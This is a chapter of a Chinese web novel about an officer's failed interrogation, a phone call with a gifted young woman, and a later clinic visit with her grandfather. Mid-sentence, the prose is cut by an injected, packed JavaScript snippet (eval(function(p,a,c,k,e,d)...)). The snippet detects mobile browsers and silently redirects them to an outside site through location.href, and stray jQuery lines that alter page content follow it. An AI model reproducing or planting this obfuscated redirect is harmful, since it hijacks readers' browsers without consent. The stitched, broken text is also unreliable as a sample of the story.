刘建设整个人都吓傻了,嘴巴大张,脑子里一片空白,半个字也吐不出来。
傅征盯着他看了三秒,转身便走出审讯室。
“审。”他对门口的老郑只丢下一个字,“问出来为止。”
老郑点头,带人推门而入。
傅征立在走廊里抽烟,一根燃尽,又点上一根。
审讯室的门关得严实,里面的声响模糊不清,偶尔传出椅子拖动的闷响,或是谁陡然拔高的声调。
他背靠墙壁,闭着眼,脑子里将那批油料的资料翻来覆去过了一遍又一遍,这种新兵最是好用,背景干净,也是最难查的。
二十分钟后,审讯室的门开了。
老郑走出来,脸色铁青。
“招了?”
老郑摇头,声音沉得发哑,“没来得及,他牙根后藏了药,咬破了。”
傅征眉头微蹙,夹烟的指尖一顿。
“**,几秒就没了。”老郑抹了把脸,“我们根本没反应过来。”
傅征没说话,就那么站着,烟在指间燃了长长一截,烟灰簌簌落在地上,碎成粉末。
他将烟狠狠摁灭,转身朝走廊另一头走,走了两步,却骤然停住。
“妈的。”
声音不高,像是从牙缝里硬挤出来,裹着一股压不住的躁意。
他立在走廊阴影里,肩线绷得如同拉满的弓,审讯室内收拾现场的脚步声,低语声,从门缝里断断续续渗出来。
他闭了闭眼,深吸一口气,再睁开时,脑海里猛地撞进一句话。
“明天你就知道为什么要验油了。”
高澜说的。
昨天电话里,她声音清清淡淡,说得理所当然。
那时他只当她是在指点他做事,此刻再回想,那句话的分量全然变了。
不是提醒,是预判。
她早知道会是这样的结果,才会那般笃定……
可凭什么?
她不过一个十八岁的小姑娘,人不在基地,远在红兴镇,只接了一通电话,凭什么就能做出这样精准的判断了?
傅征百思不得其解。
她到底,还藏着多少本事?
他重新靠回墙上,仰头望着天花板上那盏惨白的灯,灯管老化,发出细微而持续的嗡鸣。
这段时间与她相处的画面一幕幕翻涌——她初来基地,明着参加学术会,实则只是为了让爷爷的高兴,若无长辈,她恐怕连露面都不屑,学术会阐述环节时一眼看穿殷素的项目水分,三言两语便让他失了继续听下去的兴致。
还有影像室里的两小时,那些惊人的数据,偏远铁路上的一夜抢险,仿佛从系统到实操,一切难题到她面前都能迎刃而解。
这世上,还有什么是她做不到的?傅征竟一时想不出来。
“你才认识我几天……”
“你了解我吗?”
高澜的话在他脑海里反复盘旋,让他抓狂,更让他疯狂着迷。
这个女人。
傅征走到办公楼,再次拨通红兴镇的电话。
“喂。”
“高澜,是我。”
“我知道。”高澜的声音依旧清淡,仿佛早料到他会打来。
傅征握着听筒沉默许久,千言万语堵在胸口,竟一时不知如何开口。
是告诉她一切如她所料,还是承认……他什么都瞒不过她?
“你……”他支吾半天,“我……”
“如果傅少校没什么事,我就挂了。”
高澜的手已经将话筒从耳边移开。
“等下!”傅征急声喊住,“高澜!别挂。”
高澜重新将听筒贴回耳边,傅征能清晰听见她平稳的呼吸,电话那头安静得很,她始终冷静,始终从容。
他忽然勾了勾唇角,心头竟浮出一丝苦笑……无奈,又抓心挠肝。
她的内核,远比他强悍太多。
“油料的事,被你说中了,检验科结果和你判断的九成吻合,这种手法,基地至今没见过……人查到了,不过**,线索断了,和你推测的全都一样。”
他语气里没有半分欣喜,只有难以接受的涩然。
一个十八岁的小姑娘,判断力竟远超他这个特殊装备基地的少校,旁人三五日、甚至三五个月都理不清的头绪,她略一思索便看透七八分。
换谁,都难以接受。
可这就是她。
即便压制着,每日只在红星厂低调画图纸,不轻易出手,一出手便足以惊动上层。
“所以,傅少校是开始自我怀疑了?”
傅征一噎,无言以对。
他十几年摸爬滚打才走到今天,而高澜不过十几岁,能力却已在他之上,这般悬殊,让他不得不重新审视自己。
他真的了解她吗?
他真的能毫无保留地信任她、接纳她吗?
“傅征。”
高澜忽然开口,声音淡淡,却带着一股疏离的冷意。
“你我本就是两个世界的人,不必勉强自己。我有我的路要走,而你,本就是星辰。”
“高澜……”
从小到大众星捧月惯了的傅征,此刻竟有些手足无措,心口像是被什么细小而尖锐的东西轻轻划开,说不清是酸是涩,是疼是痒。
他还想再说些什么,电话那头却传来旁人唤高澜的声音,她应了一声,匆匆挂断。
连一句再见都没有。
这,竟是她第一次直呼他的名字。
听筒里只剩下单调的“嘟嘟”忙音,傅征僵在原地,久久回不过神。
天色渐暗,基地内依旧秩序井然,各司其职,审讯室的后事处理完毕,老郑一直在外等候指令,可望着窗上那道被忧愁笼罩的身影,他终究没敢上前打扰。
手下人心急如焚,在役士兵出了这种事,报告难写,责任难扛。
但至少飞机故障的原因查清了,小五的伤有了交代,傅征肩上的担子被卸下了一半。
其余的,估计只能让他自己扛了。
“先把事情压住,不许声张,另外……暗中加强巡逻,全面警戒。”
老郑对旁边的兵说道,绝不能再发生类似事件。
“是。”
众人各自散去,老郑望了一眼窗边那道抽烟的孤寂身影,轻轻摇了摇头。
这一夜,傅征几乎没合眼。
营房里的灯亮了又暗,暗了又亮,烟头在烟灰缸里堆成一小堆。
闭上眼,全是高澜。
不是什么温柔笑意,反倒是她怼他时的模样。
她眉梢微挑,语气冷淡,一句句“我本具足,何须消耗父母的功德”“书上看的”“遗书,要看吗”,字字扎心,却又偏偏像生了根的藤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454586|201206||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蔓,扎进他的心底。
他想起她站在学术会场楼台上云淡风轻的样子,想起容承阙说的那句不是时候,想起她电话里那句“我有我的路要走……”
明明句句都在划清界限,却比任何情话都更挠心。
她清醒、强大、自成一格,不依附谁,不讨好谁,连告别都干脆利落,不留半分余地。
也正是这样的她,不知何时已无声无息之间已闯入他心里。
傅征翻身坐起,狠狠抓了把头发,心底那股燥意翻涌不止,抓心挠肝,无处发泄。
这丫头……
怎么就这么能折磨人。
不过几面之缘,硬生生在他心里扎了根。
一言一语都刻进了脑子里,他自诩忍耐力一流,执行任务从无半分杂念,可这一夜,思绪全被一个远在红兴镇的小姑娘占得满满当当,赶不走,压不下。
他甚至开始嫉妒她口中那条“自己的路”,她说他是星辰。
那他有没有资格去照耀她的路呢?
窗外夜色深沉,基地的夜哨换了一班又一班。
傅征走到窗边,耳边还残留着一丝她声音的余温。
心底反复念着同一句话,
高澜……你到底是个什么样的人。
这一夜,他败给了一个十八岁的姑娘。
红兴镇卫生院的诊室里。
高明德坐在诊察台边上,裤腿卷到膝盖以上,老大夫捏着他的膝盖骨左转右转,又让他抬腿、屈膝……
“恢复得不错,再用半个月拐杖,后面就可以试着独立行走了。”
高明德一听这话,眼睛都亮了,“大夫,真能好利索?”
“你这底子本来就好,再加上营养跟上了,骨头长得比预想的快。”老大夫拍了拍他的肩膀,“老高,你这算是熬出来了。”
高明德咧着嘴笑,扭头去看站在旁边的高澜。
她正低头看检查报告,一页一页翻得很仔细。
“丫头,听见没?大夫说快好了。”
“听见了。”高澜把报告折好收进口袋,抬眼看了看爷爷那张笑得满是褶子的脸,嘴角也弯了一下,“回去把剩下的药吃完,别偷懒。”
“我什么时候偷过懒……”
“上礼拜那两次药您就没吃,当我不知道?”
高明德被噎了一下,讪讪地摸了摸鼻子,不吭声了。
老张和老马在门口等着,听见里头这话,笑得前仰后合。
“老高,你这点小心思全被丫头看穿了!”
“还嘴硬呢,偷懒被抓现行了吧!”
高明德瞪了他们一眼,“你们两个少在这儿看热闹,有这功夫不如回去多拧两颗螺丝。”
“哎哟,老高这脾气,腿还没好利索呢,骂人的功夫倒先恢复了。”
老张笑着凑过来,扶着他从诊察台上下来,“不过说真的,你这腿好了,什么时候回厂里上班啊?”
高明德接过拐杖,摆了摆手,“我这把老骨头,还能跟你抢活?别给阿澜添乱就不错了。”
厂里那抡大锤的活,这辈子他是无缘了。
这个他心里清楚,嘴上说得轻松,眼底还是闪过一点落寞。
老马在旁边看出了他那点心思,凑过来,“谁说的?你这身子骨我看硬朗得很呢!实在不行,你学学开车呗?”